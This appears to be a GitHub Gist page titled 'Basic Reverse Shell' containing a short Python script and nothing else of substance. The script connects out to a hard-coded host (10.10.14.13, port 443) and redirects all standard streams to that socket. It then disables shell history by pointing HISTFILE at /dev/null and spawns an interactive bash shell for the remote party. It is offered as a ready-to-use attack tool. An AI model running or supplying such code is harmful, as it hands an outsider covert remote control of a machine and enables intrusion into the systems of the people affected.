Last active
October 22, 2018 23:31
-
-
Save mariohercules/127fac5b39217eeceb58a80c307565b0 to your computer and use it in GitHub Desktop.
Basic Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
def con(): | |
import socket, time,pty, os | |
host='10.10.14.13' | |
port=443 | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.settimeout(10) | |
s.connect((host,port)) | |
os.dup2(s.fileno(),0) | |
os.dup2(s.fileno(),1) | |
os.dup2(s.fileno(),2) | |
os.putenv("HISTFILE",'/dev/null') | |
pty.spawn("/bin/bash") | |
s.close() | |
con() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment